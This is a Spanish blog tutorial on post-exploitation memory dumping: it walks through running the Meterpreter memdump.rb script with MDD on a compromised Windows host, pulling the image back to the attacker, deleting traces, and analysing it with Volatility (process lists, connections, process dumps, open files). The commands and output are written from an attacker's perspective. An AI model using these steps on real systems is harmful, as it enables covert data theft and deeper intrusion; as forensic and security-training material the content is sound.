Inicio > Hacking, MetaSploit > Volcado de Memoria con Meterpreter, MDD y Volatility FrameWork sobre maquinas comprometidas

Volcado de Memoria con Meterpreter, MDD y Volatility FrameWork sobre maquinas comprometidas

El volcado y análisis de memoria de uno o varios de los procesos de una maquina comprometida, es una de las primeras actividades que realizará un hacker en un proceso de post-explotacion, este tópico le permitirá recolectar información sobre el objetivo para intentar garantizar el acceso futuro y/o profundizar el ataque con el objetivo de comprometer más maquinas en el segmento de red, o simplemente búscar más vulnerabilidades que le permitan garantizar accesos futuros.

En esta entrada se intentará indicar el uso del script memdump.rb y Volatility FrameWork con Meterpreter, este script permite realizar un volcado de la memoria del objetivo comprometido en un fichero con toda la información de los procesos que se encontraban en ejecución al momento de realizar el volcado, este script se apoya en la herramienta ManTech Memory DD (mdd) la cual se encarga de generar una imagen forense de la memoria física del sistema y la almacena como un fichero binario “crudo” (raw). Puede copiar 4 GB de memoria a un fichero para su posterior análisis, esta herramienta es excelente para ser empleada por otro software que identifique rootkits u otro código malicioso residiendo en el sistema, (aunque esta información es útil para el atacante, para saber principalmente, si la maquina comprometida ha sido atacada con anterioridad por alguien más y ha dejado sus rastros).

Para usar este script, en primer lugar es necesario descargarlo desde http://www.darkoperator.com/meterpreter/memdump.rb y ubicarlo en el directorio <DIR_METASPLOIT>/scripts/meterpreter/ en este directorio es donde se almacenan todos los scripts que se ejecutan en Metasploit, si un desarrollador crea un script para ser ejecutado por meterpreter, dicho script deberá estar ubicado en este directorio. Por otra parte, el ejecutable MDD que se ha indicado anteriormente debe estar ubicado en el directorio <DIR_METASPLOIT>/data se puede descargar desde http://sourceforge.net/projects/mdd/files/mdd/ dado que el nombre del ejecutable descargado siempre tiene el número de versión añadido, es necesario renombrarlo a “mdd.exe” para que el script lo pueda encontrar, o bien modificar el script para que busque el nombre del fichero correcto. Con estos requisitos cumplidos, es posible utilizarlo:

meterpreter > run memdump -h

Memory Dumper Meterpreter Script

OPTIONS:

-c Check Memory Size on target. Image file will be of this size

-d Dump Memory do not download

-h Help menu.

-t <opt> Change the timeout for download default 5min. Specify timeout in seconds

Las opciones realizan las siguientes funciones:

-c: Retorna el tamaño de memoria utilizado en el objetivo.

-d: Realiza un upload del fichero MDD a la maquina comprometida y genera una imagen del volcado, pero no lo transfiere a la maquina del atacante.

-t Cambia el tiempo de espera para la descarga de la imagen desde el objetivo hacia la maquina del atacante.

Si se ejecuta sin ningún parámetro, el script realizará un upload del fichero MDD a la maquina comprometida y posteriormente intentará obtener una imagen de la mémoria física, posteriormente dicha imagen será enviada a la maquina del atacante:

meterpreter > run memdump

[*] Running Meterpreter Memory Dump Script…..

[*] Uploading mdd for dumping targets memory….

[*] mdd uploaded as C:\DOCUME~1\VULNER~1\LOCALS~1\Temp\34403.exe

[*] Dumping target memory to C:\DOCUME~1\VULNER~1\LOCALS~1\Temp\74958 ………………………………………………

[*] Finnished dumping target memory

[*] Deleting mdd.exe from target…

[*] mdd.exe deleted

[*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.38-20110507.0542

[*] Finnished downloading memory image

[*] Deleting left over files…

[*] Memory image on target deleted

Ahora, con esta imagen se puede utilizar Volatility FrameWork para realizar un análisis del volcado de memoria.

Volatility FrameWork

Se trata de una herramienta licenciada bajo los términos de la GNU/GPL e implementada en Python, permite la extracción de datos y/o artefactos digitales desde imágenes de memoria volátil (RAM), ejecutando técnicas de extracción que son completamente independientes del sistema operativo que esta siendo investigado. Esta herramienta hace parte del conjunto conocido como Open Source Investigation Tools (OSIT) que sostienen la creencia que los procesos forenses y de auditoria deberían estar enfocados en estándares libres y abiertos para promover a los investigadores y auditores a profundizar, proponer y mejorar técnicas relacionadas con informática forense.

Para utilizar Volatility, se debe contar con una plataforma que soporte python, por esta razón (y muchas otras) GNU/Linux es mas que adecuado para tal fin. A continuación se detallan algunos pasos y ejemplos de su uso:

  1. Descargar desde: https://www.volatilesystems.com/default/volatility y descomprimir el fichero descargado.
  2. Desde el directorio de volatility ejecutar:
>python volatility

Volatile Systems Volatility Framework v1.3

Copyright (C) 2007,2008 Volatile Systems

Copyright (C) 2007 Komoku, Inc.

This is free software; see the source for copying conditions.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

usage: volatility cmd [cmd_opts]
………………………………………..

  1. Posteriormente se puede utilizar la imagen generada por el script memdump ejecutado desde meterpreter.
  2. Para ver la fecha de la generación de la imagen
python volatility datetime -f 192.168.1.38-20110507.0542/74958.img
Image local date and time: Sat May 07 21:05:41 2011
  1. Para ver información identificativa de la imagen
    python volatility ident -f 192.168.1.38-20110507.0542/74958.img
    Image Name: /root/.msf3/logs/memdump/192.168.1.38-20110507.0542/74958.img
    Image Type: Service Pack 2VM Type: paeDTB: 0x2f3000Datetime: Sat May 07 21:05:41 2011
  2. Para obtener el listado de procesos que se encontraban en ejecución en la maquina al momento de realizar la imagen
    python volatility pslist -f 192.168.1.38-20110507.0542/74958.img
    Name Pid PPid Thds Hnds TimeSystem 4 0 49 238 Thu Jan 01 00:00:00 1970smss.exe 500 4 3 21 Sun May 08 03:59:44 2011csrss.exe 564 500 10 382 Sun May 08 03:59:44 2011

    winlogon.exe 588 500 21 508 Sun May 08 03:59:44 2011
    …………………………….

  3. Para ver información de las conexiones establecidas con otras maquinas:
    python volatility connections -f 192.168.1.38-20110507.0542/74958.img
    Local Address Remote Address Pid192.168.1.38:1040 65.55.206.209:80 1836192.168.1.38:1039 65.55.21.250:80 1836

    192.168.1.38:1042 94.245.115.205:80 1836

    192.168.1.38:1050 192.168.1.33:4444 436

    192.168.1.38:1041 65.55.17.25:80 1836

  4. Para ver información de todas las conexiones establecidas con otras maquinas:
    python volatility connscan -f 192.168.1.38-20110507.0542/74958.img
    Local Address Remote Address Pid————————- ————————- ——

    192.168.1.38:1048 192.168.1.33:80 1836

    192.168.1.38:1050 192.168.1.33:4444 436

    192.168.1.38:1041 65.55.17.25:80 1836

    192.168.1.38:1042 94.245.115.205:80 1836

    192.168.1.38:1043 65.54.81.155:80 1836

    192.168.1.38:1040 65.55.206.209:80 1836

    192.168.1.38:1039 65.55.21.250:80 1836

    ………………..

  5. Volcar cada proceso a un ejecutable partiendo de los valores en memoria almacenados en la imagen:
    python volatility procdump -f 192.168.1.38-20110507.0542/74958.img
    ************************************************************************
    Dumping services.exe, pid: 632 output: executable.632.exe
    ************************************************************************
    Dumping svchost.exe, pid: 804 output: executable.804.exe************************************************************************

    Dumping svchost.exe, pid: 884 output: executable.884.exe

    ************************************************************************

    Dumping svchost.exe, pid: 976 output: executable.976.exe

    ************************************************************************

    Dumping svchost.exe, pid: 1024 output: executable.1024.exe

    ************************************************************************

    Dumping svchost.exe, pid: 1084 output: executable.1084.exe

    …………………………………………

  6. Listar todos los ficheros abiertos para cada uno de los procesos que se encontraban en ejecución:
    python volatility files -f 192.168.1.38-20110507.0542/74958.img

    ************************************************************************

    Pid: 4

    File \Documents and Settings\NetworkService\NTUSER.DAT

    File \WINDOWS\system32\config\SECURITY

    File \pagefile.sys

    File \WINDOWS\system32\config\SECURITY.LOG

    File \WINDOWS\system32\config\software

    File \WINDOWS\system32\config\software.LOG

    File \System Volume Information\_restore{B6791096-032F-454C-8586-223A9E9F9E27}\RP1\change.log

    ************************************************************************

    Pid: 500

    File \WINDOWS

    File \WINDOWS\system32

    ************************************************************************

    Pid: 564

    File \WINDOWS\system32

    File \WINDOWS\system32\ega.cpi

    ************************************************************************

    ……………………………………………………….

Como ha podido apreciarse, la cantidad de operaciones y el abanico de posibilidades que se despliegan para el atacante es bastante amplio, permitiendole de este modo obtener información muy detallada de la víctima.

  1. Aún no hay comentarios.
  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: